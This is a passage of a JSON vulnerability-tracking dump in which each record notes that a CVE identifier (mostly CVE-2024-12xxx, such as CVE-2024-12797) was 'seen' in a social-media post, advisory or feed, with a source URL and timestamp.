"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12020", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkei5xsxod2l", "content": "", "creation_timestamp": "2025-03-14T20:46:25.349872Z"}, {"uuid": "d9726467-a336-4fcb-b4a8-7c152cd10491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12922", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lkrbxr2ano2r", "content": "", "creation_timestamp": "2025-03-19T23:00:07.820716Z"}, {"uuid": "7b113253-f641-432a-a7ed-d73396d50320", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ll7fwfod622f", "content": "", "creation_timestamp": "2025-03-25T13:48:12.651412Z"}, {"uuid": "8c6aedfc-d1dd-40dd-86e7-d17e9157fda0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12992", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ll7fwfod622f", "content": "", "creation_timestamp": "2025-03-25T13:48:12.752892Z"}, {"uuid": "1128c9e1-9baa-4143-8c90-b3aff64ecaad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12599", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhv7yfbtyp2w", "content": "", "creation_timestamp": "2025-02-11T08:19:46.921188Z"}, {"uuid": "1862fdfb-146b-4b9a-8ea1-8212f930abca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://infosec.exchange/users/obivan/statuses/113984489341458185", "content": "", "creation_timestamp": "2025-02-11T09:14:39.607461Z"}, {"uuid": "d99408f9-7f2c-433f-86db-f1261d2a045e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://infosec.exchange/users/dragonjar/statuses/113984909281375169", "content": "", "creation_timestamp": "2025-02-11T11:01:28.848638Z"}, {"uuid": "a7fdf1fb-98eb-4d3e-a6f8-4c5e2d5e57bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113985351114543788", "content": "", "creation_timestamp": "2025-02-11T12:53:49.414504Z"}, {"uuid": "3fec8e1b-7cf8-4041-9fa0-d1be0af90170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhvqjn3qkr23", "content": "", "creation_timestamp": "2025-02-11T13:15:43.144485Z"}, {"uuid": "e8689a18-fc63-48f3-8db1-419771af9acc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhvu4qgspo2y", "content": "", "creation_timestamp": "2025-02-11T14:20:11.512221Z"}, {"uuid": "52913cf3-8f17-4326-b6a2-95ac3b926835", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12058", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113985946502062448", "content": "", "creation_timestamp": "2025-02-11T15:25:14.387757Z"}, {"uuid": "1af5cc10-54c2-4462-83fc-ab3f40242333", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://mstdn.social/users/jschauma/statuses/113986084509292381", "content": "", "creation_timestamp": "2025-02-11T16:00:21.062436Z"}, {"uuid": "49a96361-f01b-465d-b875-da07b5733bcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/jschauma.mstdn.social.ap.brid.gy/post/3lhvzqexxfr62", "content": "", "creation_timestamp": "2025-02-11T16:02:36.938030Z"}, {"uuid": "0a6478de-cc7c-42f5-93d3-5056098414ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://infosec.exchange/users/harrysintonen/statuses/113986114572408411", "content": "", "creation_timestamp": "2025-02-11T16:07:58.868756Z"}, {"uuid": "04b26c7d-2027-4d12-ac39-f7fa6bda9481", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113986123111497297", "content": "", "creation_timestamp": "2025-02-11T16:10:09.296099Z"}, {"uuid": "415b0d27-c61c-4a12-898b-6f804ecf82cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12058", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhw2mecrol2h", "content": "", "creation_timestamp": "2025-02-11T16:16:11.826545Z"}, {"uuid": "38a0e588-abe1-4c34-a895-3aa4b2e119b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhw2mgqh2r2z", "content": "", "creation_timestamp": "2025-02-11T16:16:14.692289Z"}, {"uuid": "90011db7-78a6-47bd-9801-394d1646ee25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/nopnop.bsky.social/post/3lhw3kkpfjk2s", "content": "", "creation_timestamp": "2025-02-11T16:33:05.458198Z"}, {"uuid": "ad6d0bb6-3ac4-48a9-ba96-733b0c2c33b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://infosec.exchange/users/harrysintonen/statuses/113986223970690995", "content": "", "creation_timestamp": "2025-02-11T16:35:48.246615Z"}, {"uuid": "abe539ef-efbe-4823-b7b3-d212222f584f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://cyberplace.social/users/GossiTheDog/statuses/113986371147606531", "content": "", "creation_timestamp": "2025-02-11T17:13:30.264969Z"}, {"uuid": "5c033d16-8866-4777-8b2d-40cc33d46cce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/GossiTheDog.cyberplace.social.ap.brid.gy/post/3lhw5sl6da4k2", "content": "", "creation_timestamp": "2025-02-11T17:14:30.811241Z"}, {"uuid": "209de7a0-848f-413a-aaee-60474167cbd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12755", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhw5xm46y22g", "content": "", "creation_timestamp": "2025-02-11T17:16:10.340675Z"}, {"uuid": "53887831-8f92-4b4a-bc1a-524aac713cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12756", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhw5xoqi5a2x", "content": "", "creation_timestamp": "2025-02-11T17:16:12.836929Z"}, {"uuid": "7120da3a-1402-4fbd-bc67-6901d09ccf23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lhw6eqm5dt2o", "content": "", "creation_timestamp": "2025-02-11T17:23:31.374437Z"}, {"uuid": "e711c77b-8b6f-40d2-b775-2d454c75ff5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/thedarktangent.defcon.social.ap.brid.gy/post/3lhw7jowyml22", "content": "", "creation_timestamp": "2025-02-11T17:44:20.328590Z"}, {"uuid": "1a97e011-cf56-4557-933a-b772f383a3f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12824", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljff5wxa5a2p", "content": "", "creation_timestamp": "2025-03-02T12:00:08.068197Z"}, {"uuid": "b5bf5c08-5818-4391-8556-78f55a5b213e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12741", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-105/", "content": "", "creation_timestamp": "2025-03-03T05:00:00.000000Z"}, {"uuid": "d655884a-02fb-47fa-bba8-d2507d68ac00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12058", "type": "seen", "source": "https://social.circl.lu/users/cedric/statuses/113986844143593949", "content": "", "creation_timestamp": "2025-02-11T19:13:31.534633Z"}, {"uuid": "75132913-021e-4e06-a524-ffcb26529866", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12547", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwhz2molc2a", "content": "", "creation_timestamp": "2025-02-11T20:15:56.456294Z"}, {"uuid": "84037f08-ce8c-425d-ba74-4797e38f0714", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12548", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwhz5vmwk2c", "content": "", "creation_timestamp": "2025-02-11T20:15:59.777457Z"}, {"uuid": "729d7ca9-a56e-4a63-a0e7-14926c368bd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12549", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwhzaf5ug2a", "content": "", "creation_timestamp": "2025-02-11T20:16:02.408969Z"}, {"uuid": "482f6279-eb6f-4dc1-8b1d-5cdb15843df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12550", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwhzcxzde2a", "content": "", "creation_timestamp": "2025-02-11T20:16:05.428689Z"}, {"uuid": "f95ed3e9-f7ff-46e7-b877-a8bc6566031c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12551", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwhzflzqo2z", "content": "", "creation_timestamp": "2025-02-11T20:16:07.959326Z"}, {"uuid": "3f6f6a89-e9c3-44a2-bf7e-b23548ddbd16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwhzi34xc2a", "content": "", "creation_timestamp": "2025-02-11T20:16:10.491034Z"}, {"uuid": "1bd43f83-9ca2-4d5e-89fa-6d6adb6ecb40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113987218940715523", "content": "", "creation_timestamp": "2025-02-11T20:48:52.388056Z"}, {"uuid": "f0d51497-d38c-40da-a9db-4a383114c494", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lhwl6qljlt2b", "content": "", "creation_timestamp": "2025-02-11T21:12:48.625473Z"}, {"uuid": "34a3c789-12ec-4164-bd1b-ff6012a27cdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwlekul2i2x", "content": "", "creation_timestamp": "2025-02-11T21:16:04.051830Z"}, {"uuid": "ce6302ff-becb-4a1f-88c3-29f949916c42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lhwnp4zdxc2n", "content": "", "creation_timestamp": "2025-02-11T21:57:48.606036Z"}, {"uuid": "88dff00b-dd5f-4937-9392-45c1193cc36d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhwrgjprt22i", "content": "", "creation_timestamp": "2025-02-11T23:04:32.048828Z"}, {"uuid": "b59c45a3-1328-4441-be6f-8bbe7ee03d19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhwvvoqnep2u", "content": "", "creation_timestamp": "2025-02-12T00:24:35.895042Z"}, {"uuid": "90df0342-6f81-4ac1-8ec7-534f66a24a7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3lhwyyxvsnq24", "content": "", "creation_timestamp": "2025-02-12T01:20:08.150763Z"}, {"uuid": "bd40523b-9d4b-438f-9cd4-ed1be5d52f00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-04)", "content": "", "creation_timestamp": "2025-03-04T00:00:00.000000Z"}, {"uuid": "43902ec7-8b91-4ca3-be5b-374bcab5897d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lhxbhshixk24", "content": "", "creation_timestamp": "2025-02-12T03:51:39.515915Z"}, {"uuid": "4764224a-3c42-487e-9fd7-71e2c64429db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lhxbsvu6qk2t", "content": "", "creation_timestamp": "2025-02-12T03:57:49.697405Z"}, {"uuid": "4090f446-4735-4263-9f4a-d7b62ccd7a80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12164", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113989033099527274", "content": "", "creation_timestamp": "2025-02-12T04:30:12.366216Z"}, {"uuid": "a60dbeb8-7b16-497a-b728-23e494174dea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12164", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhxg67s6nb2p", "content": "", "creation_timestamp": "2025-02-12T05:15:41.791993Z"}, {"uuid": "bd4769bf-d5c7-42cf-9f6f-e46aa094b53f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12281", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljpgzui47n2c", "content": "", "creation_timestamp": "2025-03-06T12:00:32.880797Z"}, {"uuid": "5e4d67eb-467d-437a-8f43-71f0bfa78dba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12097", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljpgzuo6pz2f", "content": "", "creation_timestamp": "2025-03-06T12:00:33.605187Z"}, {"uuid": "a7e62ac5-2594-4008-94f4-945b0f761a33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:11:06.000000Z"}, {"uuid": "299e3be3-b896-4c35-9338-efbef056ba35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:11:06.000000Z"}, {"uuid": "52344ee5-6975-445f-bd0b-ba91dff708e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-d7b1a167-647a6d58b1b9a9ed", "content": "", "creation_timestamp": "2025-02-12T07:10:39.294874Z"}, {"uuid": "8069e16b-5a1d-4d61-834d-472398883d5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lhxnteqvbo2t", "content": "", "creation_timestamp": "2025-02-12T07:32:48.453654Z"}, {"uuid": "783167ba-d97a-4e60-a81c-00c1122b330d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3lhxp7olhza2b", "content": "", "creation_timestamp": "2025-02-12T07:57:34.690807Z"}, {"uuid": "6261bc6e-675d-4706-9ec5-293184441ba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://threatintel.cc/2025/02/11/openssl-patched-highseverity-flaw-cve.html", "content": "", "creation_timestamp": "2025-02-12T02:25:37.000000Z"}, {"uuid": "66501aee-44fc-4920-bb1d-fb5687918f46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113989978657694600", "content": "", "creation_timestamp": "2025-02-12T08:30:40.140296Z"}, {"uuid": "cd2cfd5d-6e36-4bdb-851b-926b6e07dc39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhxtljp3a62s", "content": "", "creation_timestamp": "2025-02-12T09:15:47.450459Z"}, {"uuid": "dca1476e-1b4c-45aa-a29e-b4e0dd59cc96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113990205008091860", "content": "", "creation_timestamp": "2025-02-12T09:28:13.944140Z"}, {"uuid": "809e4f12-fe1a-4390-b577-17b5efe9a697", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113990205022762415", "content": "", "creation_timestamp": "2025-02-12T09:28:15.350591Z"}, {"uuid": "2d7a391d-3e67-4594-8528-871945194573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/113990205373134629", "content": "", "creation_timestamp": "2025-02-12T09:28:20.078949Z"}, {"uuid": "b29ae6b7-1422-41c7-bf11-b815bd024937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lhxudxq2lk2x", "content": "", "creation_timestamp": "2025-02-12T09:29:27.868579Z"}, {"uuid": "3e90ed85-b76b-4ed7-8a3e-936f4cc98986", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lhxudxqah22x", "content": "", "creation_timestamp": "2025-02-12T09:29:28.762448Z"}, {"uuid": "bc07c306-575b-4c6f-b574-b098713d867c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lhxudxqcfk2x", "content": "", "creation_timestamp": "2025-02-12T09:29:29.617641Z"}, {"uuid": "20a1c347-1edf-4dec-a537-1e4239f29f90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhxwwmn3tj2x", "content": "", "creation_timestamp": "2025-02-12T10:15:40.519991Z"}, {"uuid": "9cfaf19c-31f2-446f-9bc0-c87ab9f3b998", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhxwwpliar2z", "content": "", "creation_timestamp": "2025-02-12T10:15:43.558476Z"}, {"uuid": "8413cfa3-585c-4f38-9b51-65d4663f5b5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113990520210402386", "content": "", "creation_timestamp": "2025-02-12T10:48:23.944571Z"}, {"uuid": "9e416379-f4a3-4fd9-b6df-46379783f816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113990520258513151", "content": "", "creation_timestamp": "2025-02-12T10:48:24.432374Z"}, {"uuid": "f2e4a00d-bd5f-480d-a960-25183f0ef7a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhxzp6sy562h", "content": "", "creation_timestamp": "2025-02-12T11:05:12.398575Z"}, {"uuid": "969e6294-62c0-42ba-98d8-2f5e964a3356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhxzp7ttee2v", "content": "", "creation_timestamp": "2025-02-12T11:05:13.383688Z"}, {"uuid": "7de5969e-bac7-49de-bef1-024c63b04ef3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12386", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113990650248896980", "content": "", "creation_timestamp": "2025-02-12T11:21:27.703743Z"}, {"uuid": "26d87a18-dc41-41e7-8362-0c7ddfa64013", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhy5miaorn2v", "content": "", "creation_timestamp": "2025-02-12T12:15:17.777181Z"}, {"uuid": "6750b51e-a41d-4740-b4d2-ae4b8e8908f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12386", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhy5no5smj2a", "content": "", "creation_timestamp": "2025-02-12T12:15:56.276564Z"}, {"uuid": "2251b211-ea3b-4f25-a568-b15b60fb142c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lhy7ha6coc2a", "content": "", "creation_timestamp": "2025-02-12T12:48:08.960912Z"}, {"uuid": "4181b465-f18e-42ca-a13a-f6c30375e6a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12386", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113991464240642560", "content": "", "creation_timestamp": "2025-02-12T14:48:29.131640Z"}, {"uuid": "73e25841-3cfe-4be1-a8f7-2dcfeac0192b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12251", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhyhqdfchq2s", "content": "", "creation_timestamp": 